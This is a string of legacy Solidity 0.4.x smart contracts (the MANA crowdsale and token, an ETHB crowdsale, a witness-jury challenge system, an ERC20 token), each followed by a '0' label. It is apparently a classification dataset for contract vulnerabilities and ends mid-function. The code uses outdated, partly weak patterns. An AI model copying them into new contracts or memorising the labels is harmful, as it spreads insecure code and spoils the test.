tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startBlock; uint256 public endBlock; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) { require(_startBlock >= block.number); require(_endBlock >= _startBlock); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startBlock = _startBlock; endBlock = _endBlock; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal constant returns (bool) { uint256 current = block.number; bool withinPeriod = current >= startBlock && current <= endBlock; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public constant returns (bool) { return block.number > endBlock; } } contract WhitelistedCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; mapping (address => bool) public whitelist; function addToWhitelist(address buyer) public onlyOwner { require(buyer != 0x0); whitelist[buyer] = true; } function isWhitelisted(address buyer) public constant returns (bool) { return whitelist[buyer]; } function validPurchase() internal constant returns (bool) { return super.validPurchase() || (!hasEnded() && isWhitelisted(msg.sender)); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ContinuousSale { using SafeMath for uint256; uint256 public constant BUCKET_SIZE = 12 hours; MintableToken public token; address public wallet; uint256 public rate; uint256 public weiRaised; uint256 public issuance; uint256 public lastBucket = 0; uint256 public bucketAmount = 0; event TokenPurchase(address indexed investor, address indexed beneficiary, uint256 weiAmount, uint256 tokens); function ContinuousSale( uint256 _rate, address _wallet, MintableToken _token ) { require(_rate != 0); require(_wallet != 0); rate = _rate; wallet = _wallet; token = _token; } function() payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(msg.value != 0); prepareContinuousPurchase(); uint256 tokens = processPurchase(beneficiary); checkContinuousPurchase(tokens); } function prepareContinuousPurchase() internal { uint256 timestamp = block.timestamp; uint256 bucket = timestamp - (timestamp % BUCKET_SIZE); if (bucket > lastBucket) { lastBucket = bucket; bucketAmount = 0; } } function checkContinuousPurchase(uint256 tokens) internal { uint256 updatedBucketAmount = bucketAmount.add(tokens); require(updatedBucketAmount <= issuance); bucketAmount = updatedBucketAmount; } function processPurchase(address beneficiary) internal returns(uint256) { uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); return tokens; } function forwardFunds() internal { wallet.transfer(msg.value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } contract MANAContinuousSale is ContinuousSale, Ownable { uint256 public constant INFLATION = 8; bool public started = false; event RateChange(uint256 amount); event WalletChange(address wallet); function MANAContinuousSale( uint256 _rate, address _wallet, MintableToken _token ) ContinuousSale(_rate, _wallet, _token) { } modifier whenStarted() { require(started); _; } function start() onlyOwner { require(!started); uint256 finalSupply = token.totalSupply(); uint256 annualIssuance = finalSupply.mul(INFLATION).div(100); issuance = annualIssuance.mul(BUCKET_SIZE).div(1 years); started = true; } function buyTokens(address beneficiary) whenStarted public payable { super.buyTokens(beneficiary); } function setWallet(address _wallet) onlyOwner { require(_wallet != 0x0); wallet = _wallet; WalletChange(_wallet); } function setRate(uint256 _rate) onlyOwner { rate = _rate; RateChange(_rate); } function unpauseToken() onlyOwner { MANAToken(token).unpause(); } function pauseToken() onlyOwner { MANAToken(token).pause(); } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { token.finishMinting(); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MANAToken is BurnableToken, PausableToken, MintableToken { string public constant symbol = "MANA"; string public constant name = "Decentraland MANA"; uint8 public constant decimals = 18; function burn(uint256 _value) whenNotPaused public { super.burn(_value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) { require(_cap > 0); cap = _cap; } function validPurchase() internal constant returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public constant returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract MANACrowdsale is WhitelistedCrowdsale, CappedCrowdsale, FinalizableCrowdsale { uint256 public constant TOTAL_SHARE = 100; uint256 public constant CROWDSALE_SHARE = 40; uint256 public constant FOUNDATION_SHARE = 60; uint256 public preferentialRate; mapping (address => uint256) public buyerRate; uint256 public initialRate; uint256 public endRate; MANAContinuousSale public continuousSale; event WalletChange(address wallet); event PreferentialRateChange(address indexed buyer, uint256 rate); event InitialRateChange(uint256 rate); event EndRateChange(uint256 rate); function MANACrowdsale() CappedCrowdsale(86206 ether) WhitelistedCrowdsale() FinalizableCrowdsale() Crowdsale(4170650, 4170680, 12083, 0x000fb8369677b3065de5821a86bc9551d5e5eab9) { initialRate = 12083; endRate = 7250; preferentialRate = 12083; continuousSale = createContinuousSaleContract(); MANAToken(token).pause(); } function createTokenContract() internal returns(MintableToken) { return new MANAToken(); } function createContinuousSaleContract() internal returns(MANAContinuousSale) { return new MANAContinuousSale(rate, wallet, token); } function setBuyerRate(address buyer, uint256 rate) onlyOwner public { require(rate != 0); require(isWhitelisted(buyer)); require(block.number < startBlock); buyerRate[buyer] = rate; PreferentialRateChange(buyer, rate); } function setInitialRate(uint256 rate) onlyOwner public { require(rate != 0); require(block.number < startBlock); initialRate = rate; InitialRateChange(rate); } function setEndRate(uint256 rate) onlyOwner public { require(rate != 0); require(block.number < startBlock); endRate = rate; EndRateChange(rate); } function getRate() internal returns(uint256) { if (buyerRate[msg.sender] != 0) { return buyerRate[msg.sender]; } if (isWhitelisted(msg.sender)) { return preferentialRate; } uint256 elapsed = block.number - startBlock; uint256 rateRange = initialRate - endRate; uint256 blockRange = endBlock - startBlock; return initialRate.sub(rateRange.mul(elapsed).div(blockRange)); } function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 updatedWeiRaised = weiRaised.add(weiAmount); uint256 rate = getRate(); uint256 tokens = weiAmount.mul(rate); weiRaised = updatedWeiRaised; token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function setWallet(address _wallet) onlyOwner public { require(_wallet != 0x0); wallet = _wallet; continuousSale.setWallet(_wallet); WalletChange(_wallet); } function unpauseToken() onlyOwner { require(isFinalized); MANAToken(token).unpause(); } function pauseToken() onlyOwner { require(isFinalized); MANAToken(token).pause(); } function beginContinuousSale() onlyOwner public { require(isFinalized); token.transferOwnership(continuousSale); continuousSale.start(); continuousSale.transferOwnership(owner); } function finalization() internal { uint256 totalSupply = token.totalSupply(); uint256 finalSupply = TOTAL_SHARE.mul(totalSupply).div(CROWDSALE_SHARE); token.mint(wallet, FOUNDATION_SHARE.mul(finalSupply).div(TOTAL_SHARE)); } }
0
pragma solidity ^0.4.16; library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } contract ERC20Token { function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; } contract admined { address public admin; function admined() internal { admin = msg.sender; Admined(admin); } modifier onlyAdmin() { require(msg.sender == admin); _; } function transferAdminship(address _newAdmin) onlyAdmin public { require(_newAdmin != address(0)); admin = _newAdmin; TransferAdminship(admin); } event TransferAdminship(address newAdmin); event Admined(address administrador); } contract ETHBCrowdsale is admined{ uint256 public startTime = now; uint256 public totalDistributed = 0; uint256 public currentBalance = 0; ERC20Token public tokenReward; address public creator; address public ethWallet; string public campaignUrl; uint256 public constant version = 1; uint256 public exchangeRate = 10**7; event TokenWithdrawal(address _to,uint256 _withdraw); event PayOut(address _to,uint256 _withdraw); event TokenBought(address _buyer, uint256 _amount); function ETHBCrowdsale( address _ethWallet, string _campaignUrl) public { tokenReward = ERC20Token(0x3a26746Ddb79B1B8e4450e3F4FFE3285A307387E); creator = msg.sender; ethWallet = _ethWallet; campaignUrl = _campaignUrl; } function exchange() public payable { require (tokenReward.balanceOf(this) > 0); require (msg.value > 1 finney); uint256 tokenBought = SafeMath.div(msg.value,exchangeRate); require(tokenReward.balanceOf(this) >= tokenBought ); currentBalance = SafeMath.add(currentBalance,msg.value); totalDistributed = SafeMath.add(totalDistributed,tokenBought); tokenReward.transfer(msg.sender,tokenBought); TokenBought(msg.sender, tokenBought); } function tokenWithdraw (address _to) onlyAdmin public { require( _to != 0x0 ); require(tokenReward.balanceOf(this)>0); uint256 withdraw = tokenReward.balanceOf(this); tokenReward.transfer(_to,withdraw); TokenWithdrawal(_to,withdraw); } function ethWithdraw () onlyAdmin public { require(this.balance > 0); uint256 withdraw = this.balance; currentBalance = 0; require(ethWallet.send(withdraw)); PayOut(ethWallet,withdraw); } function () public payable{ exchange(); } }
0
pragma solidity ^0.4.19; contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } contract Token { function totalSupply() public constant returns (uint256 supply) {} function balanceOf(address _owner) public constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { string public name; string public symbol; uint public decimals = 18; address public minter; event Create(address account, uint amount); event Destroy(address account, uint amount); function ReserveToken(string name_, string symbol_) public { name = name_; symbol = symbol_; minter = msg.sender; } function create(address account, uint amount) public { require(msg.sender == minter); balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); Create(account, amount); } function destroy(address account, uint amount) public { require(msg.sender == minter); require(balances[account] >= amount); balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); Destroy(account, amount); } } contract Challenge is SafeMath { uint public fee = 10 * (10 ** 16); uint public blockPeriod = 6000; uint public blockNumber; bool public funded; address public witnessJury; address public token; address public user1; address public user2; string public key1; string public key2; uint public amount; address public host; string public hostKey; string public witnessJuryKey; uint public witnessJuryRequestNum; uint public winner; bool public rescued; bool public juryCalled; address public referrer; event NewChallenge(uint amount, address user1, string key1); event Fund(); event Respond(address user2, string key2); event Host(address host, string hostKey); event SetWitnessJuryKey(uint witnessJuryRequestNum, string witnessJuryKey); event RequestJury(); event Resolve(uint winner, bool wasContested, uint winnerAmount, uint hostAmount, uint witnessJuryAmount); event Rescue(); function Challenge(address witnessJury_, address token_, uint amount_, address user1_, string key1_, uint blockPeriod_, address referrer_) public { require(amount_ > 0); blockPeriod = blockPeriod_; witnessJury = witnessJury_; token = token_; user1 = user1_; key1 = key1_; amount = amount_; referrer = referrer_; blockNumber = block.number; NewChallenge(amount, user1, key1); } function fund() public { require(!funded); require(!rescued); require(msg.sender == user1); require(Token(token).transferFrom(user1, this, amount)); funded = true; blockNumber = block.number; Fund(); } function respond(address user2_, string key2_) public { require(user2 == 0x0); require(msg.sender == user2_); require(funded); require(!rescued); user2 = user2_; key2 = key2_; blockNumber = block.number; require(Token(token).transferFrom(user2, this, amount)); Respond(user2, key2); } function host(string hostKey_) public { require(host == 0x0); require(!rescued); host = msg.sender; hostKey = hostKey_; blockNumber = block.number; Host(host, hostKey); } function setWitnessJuryKey(string witnessJuryKey_) public { require(witnessJuryRequestNum == 0); require(msg.sender == host); require(!rescued); witnessJuryRequestNum = WitnessJury(witnessJury).numRequests() + 1; witnessJuryKey = witnessJuryKey_; blockNumber = block.number; WitnessJury(witnessJury).newRequest(witnessJuryKey, this); SetWitnessJuryKey(witnessJuryRequestNum, witnessJuryKey); } function requestJury() public { require(!juryCalled); require(msg.sender == user1 || msg.sender == user2); require(!rescued); require(winner == 0); require(WitnessJury(witnessJury).getWinner1(witnessJuryRequestNum) != 0 && WitnessJury(witnessJury).getWinner2(witnessJuryRequestNum) != 0); juryCalled = true; blockNumber = block.number; WitnessJury(witnessJury).juryNeeded(witnessJuryRequestNum); RequestJury(); } function resolve(uint witnessJuryRequestNum_, bool juryContested, address[] majorityJurors, uint winner_, address witness1, address witness2, uint witnessJuryRewardPercentage) public { require(winner == 0); require(witnessJuryRequestNum_ == witnessJuryRequestNum); require(msg.sender == witnessJury); require(winner_ == 1 || winner_ == 2); require(!rescued); require(block.number > blockNumber + blockPeriod); uint totalFee = safeMul(safeMul(amount, 2), fee) / (1 ether); uint winnerAmount = safeSub(safeMul(amount, 2), totalFee); uint witnessJuryAmount = safeMul(totalFee, witnessJuryRewardPercentage) / (1 ether); uint hostAmount = safeSub(totalFee, witnessJuryAmount); uint flipWinner = winner_ == 1 ? 2 : 1; winner = juryContested ? flipWinner : winner_; if (winnerAmount > 0) { require(Token(token).transfer(winner == 1 ? user1 : user2, winnerAmount)); } if (referrer != 0x0 && hostAmount / 2 > 0) { require(Token(token).transfer(host, hostAmount / 2)); require(Token(token).transfer(referrer, hostAmount / 2)); } else if (referrer == 0 && hostAmount > 0) { require(Token(token).transfer(host, hostAmount)); } if (!juryContested && witnessJuryAmount / 2 > 0) { require(Token(token).transfer(witness1, witnessJuryAmount / 2)); require(Token(token).transfer(witness2, witnessJuryAmount / 2)); } else if (juryContested && witnessJuryAmount / majorityJurors.length > 0) { for (uint i = 0; i < majorityJurors.length; i++) { require(Token(token).transfer(majorityJurors[i], witnessJuryAmount / majorityJurors.length)); } } uint excessBalance = Token(token).balanceOf(this); if (excessBalance > 0) { require(Token(token).transfer(0x0, excessBalance)); } Resolve(winner, juryContested, winnerAmount, hostAmount, witnessJuryAmount); } function rescue() public { require(!rescued); require(funded); require(block.number > blockNumber + blockPeriod * 10); require(msg.sender == user1 || msg.sender == user2); require(winner == 0); rescued = true; if (user2 != 0x0) { require(Token(token).transfer(user1, amount)); require(Token(token).transfer(user2, amount)); } else { require(Token(token).transfer(user1, amount)); } Rescue(); } } contract ChallengeFactory is SafeMath { address witnessJury; address token; mapping(uint => Challenge) public challenges; uint numChallenges; event NewChallenge(address addr, uint amount, address user, string key); function ChallengeFactory(address witnessJury_, address token_) public { witnessJury = witnessJury_; token = token_; } function newChallenge(uint amount, address user, string key, address referrer) public { numChallenges = safeAdd(numChallenges, 1); uint blockPeriod = 6000; challenges[numChallenges] = new Challenge(witnessJury, token, amount, user, key, blockPeriod, referrer); NewChallenge(address(challenges[numChallenges]), amount, user, key); } } contract WitnessJury is SafeMath { mapping(address => uint) public balances; uint public limit = 10 ** 16; uint public numWitnessesBeforeLimit = 100; uint public totalBalance; uint public numWitnesses; uint public blockPeriod = 6000; uint public desiredWitnesses = 2; uint public desiredJurors = 3; uint public penalty = 50 * (10 ** 16); address public token; mapping(uint => Request) public requests; uint public numRequests; mapping(uint => uint) public requestsPerBlockGroup; uint public drmVolumeCap = 10000; uint public drmMinFee = 25 * (10 ** 16); uint public drmMaxFee = 50 * (10 ** 16); mapping(uint => bool) public juryNeeded; mapping(uint => mapping(address => bool)) public juryVoted; mapping(uint => uint) public juryYesCount; mapping(uint => uint) public juryNoCount; mapping(uint => address[]) public juryYesVoters; mapping(uint => address[]) public juryNoVoters; struct Request { string key; address witness1; address witness2; string answer1; string answer2; uint winner1; uint winner2; uint fee; address challenge; uint blockNumber; } event Deposit(uint amount); event Withdraw(uint amount); event ReduceToLimit(address witness, uint amount); event Report(uint requestNum, string answer, uint winner); event NewRequest(uint requestNum, string key); event JuryNeeded(uint requestNum); event JuryVote(uint requestNum, address juror, bool vote); event Resolve(uint requestNum); event JuryContested(uint requestNum); function WitnessJury(address token_) public { token = token_; } function balanceOf(address user) public constant returns(uint) { return balances[user]; } function reduceToLimit(address witness) public { require(witness == msg.sender); uint amount = balances[witness]; uint limitAmount = safeMul(totalBalance, limit) / (1 ether); if (amount > limitAmount && numWitnesses > numWitnessesBeforeLimit) { uint excess = safeSub(amount, limitAmount); balances[witness] = safeSub(amount, excess); totalBalance = safeSub(totalBalance, excess); require(Token(token).transfer(witness, excess)); ReduceToLimit(witness, excess); } } function deposit(uint amount) public { require(amount > 0); if (balances[msg.sender] == 0) { numWitnesses = safeAdd(numWitnesses, 1); } balances[msg.sender] = safeAdd(balances[msg.sender], amount); totalBalance = safeAdd(totalBalance, amount); require(Token(token).transferFrom(msg.sender, this, amount)); Deposit(amount); } function withdraw(uint amount) public { require(amount > 0); require(amount <= balances[msg.sender]); balances[msg.sender] = safeSub(balances[msg.sender], amount); totalBalance = safeSub(totalBalance, amount); if (balances[msg.sender] == 0) { numWitnesses = safeSub(numWitnesses, 1); } require(Token(token).transfer(msg.sender, amount)); Withdraw(amount); } function isWitness(uint requestNum, address witness) public constant returns(bool) { bytes32 hash = sha256(this, requestNum, requests[requestNum].key); uint rand = uint(sha256(requestNum, hash, witness)) % 1000000000; return ( rand * totalBalance < 1000000000 * desiredWitnesses * balances[witness] || block.number > requests[requestNum].blockNumber + blockPeriod ); } function isJuror(uint requestNum, address juror) public constant returns(bool) { bytes32 hash = sha256(1, this, requestNum, requests[requestNum].key); uint rand = uint(sha256(requestNum, hash, juror)) % 1000000000; return ( rand * totalBalance < 1000000000 * desiredWitnesses * balances[juror] ); } function newRequest(string key, address challenge) public { numRequests = safeAdd(numRequests, 1); require(requests[numRequests].challenge == 0x0); requests[numRequests].blockNumber = block.number; requests[numRequests].challenge = challenge; requests[numRequests].key = key; requestsPerBlockGroup[block.number / blockPeriod] = safeAdd(requestsPerBlockGroup[block.number / blockPeriod], 1); uint recentNumRequests = requestsPerBlockGroup[block.number / blockPeriod]; if (recentNumRequests < drmVolumeCap) { requests[numRequests].fee = safeAdd(safeMul(safeMul(recentNumRequests, recentNumRequests), safeSub(drmMaxFee, drmMinFee)) / safeMul(drmVolumeCap, drmVolumeCap), drmMinFee); } else { requests[numRequests].fee = drmMaxFee; } NewRequest(numRequests, key); } function report(uint requestNum, string answer, uint winner) public { require(requests[requestNum].challenge != 0x0); require(requests[requestNum].witness1 == 0x0 || requests[requestNum].witness2 == 0x0); require(requests[requestNum].witness1 != msg.sender); require(isWitness(requestNum, msg.sender)); reportLogic(requestNum, answer, winner); Report(requestNum, answer, winner); } function reportLogic(uint requestNum, string answer, uint winner) private { reduceToLimit(msg.sender); if (requests[requestNum].witness1 == 0x0) { requests[requestNum].witness1 = msg.sender; requests[requestNum].answer1 = answer; requests[requestNum].winner1 = winner; } else if (requests[requestNum].witness2 == 0x0) { requests[requestNum].witness2 = msg.sender; requests[requestNum].answer2 = answer; requests[requestNum].winner2 = winner; } } function juryNeeded(uint requestNum) public { require(msg.sender == requests[requestNum].challenge); require(!juryNeeded[requestNum]); juryNeeded[requestNum] = true; JuryNeeded(requestNum); } function juryVote(uint requestNum, bool vote) public { require(!juryVoted[requestNum][msg.sender]); require(juryNeeded[requestNum]); require(safeAdd(juryYesCount[requestNum], juryNoCount[requestNum]) < desiredJurors); require(isJuror(requestNum, msg.sender)); juryVoted[requestNum][msg.sender] = true; if (vote) { juryYesCount[requestNum] = safeAdd(juryYesCount[requestNum], 1); juryYesVoters[requestNum].push(msg.sender); } else { juryNoCount[requestNum] = safeAdd(juryNoCount[requestNum], 1); juryNoVoters[requestNum].push(msg.sender); } JuryVote(requestNum, msg.sender, vote); } function resolve(uint requestNum) public { bool juryContested = juryYesCount[requestNum] > juryNoCount[requestNum] && safeAdd(juryYesCount[requestNum], juryNoCount[requestNum]) == desiredJurors; Challenge(requests[requestNum].challenge).resolve( requestNum, juryContested, juryYesCount[requestNum] > juryNoCount[requestNum] ? juryYesVoters[requestNum] : juryNoVoters[requestNum], requests[requestNum].winner1, requests[requestNum].witness1, requests[requestNum].witness2, requests[requestNum].fee ); if (juryContested) { uint penalty1 = safeMul(balances[requests[requestNum].witness1], penalty) / (1 ether); uint penalty2 = safeMul(balances[requests[requestNum].witness2], penalty) / (1 ether); balances[requests[requestNum].witness1] = safeSub(balances[requests[requestNum].witness1], penalty1); balances[requests[requestNum].witness2] = safeSub(balances[requests[requestNum].witness2], penalty2); require(Token(token).transfer(requests[requestNum].witness1, penalty1)); require(Token(token).transfer(requests[requestNum].witness2, penalty2)); JuryContested(requestNum); } Resolve(requestNum); } function getWinner1(uint requestNum) public constant returns(uint) { return requests[requestNum].winner1; } function getWinner2(uint requestNum) public constant returns(uint) { return requests[requestNum].winner2; } function getRequest(uint requestNum) public constant returns(string, address, address, string, string, uint, address) { return (requests[requestNum].key, requests[requestNum].witness1, requests[requestNum].witness2, requests[requestNum].answer1, requests[requestNum].answer2, requests[requestNum].fee, requests[requestNum].challenge); } }
0
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 is ERC20, Ownable{ string public name; string public symbol; uint8 public decimals = 18; using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; event Burn(address indexed from, uint256 value); function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public { name = _tokenName; symbol = _tokenSymbol; decimals = _decimals; totalSupply = _initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; } modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } function _transfer(address _from, address _to, uint _value) internal returns(bool) { require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); require(_value >= 0); uint previousBalances = balances[_from].add(balances[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); return true; } function transfer(address _to, uint256 _value) public returns(bool) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns(bool) { require((_value == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) { if (approve(_spender, _value)) { TokenRecipient spender = TokenRecipient(_spender); spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } return false; } function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) public returns (bool) { for (uint256 i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0)); require(_amounts[i] <= balances[msg.sender]); require(_amounts[i] > 0); balances[msg.sender] = balances[msg.sender].sub(_amounts[i]); balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]); emit Transfer(msg.sender, _addresses[i], _amounts[i]); } return true; } function burn(uint256 _value) public returns(bool) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns(bool) { require(balances[_from] >= _value); require(_value <= allowances[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(allowances[msg.sender][_spender].add(_addedValue) > allowances[msg.sender][_spender]); allowances[msg.sender][_spender] =allowances[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowances[msg.sender][_spender]; if 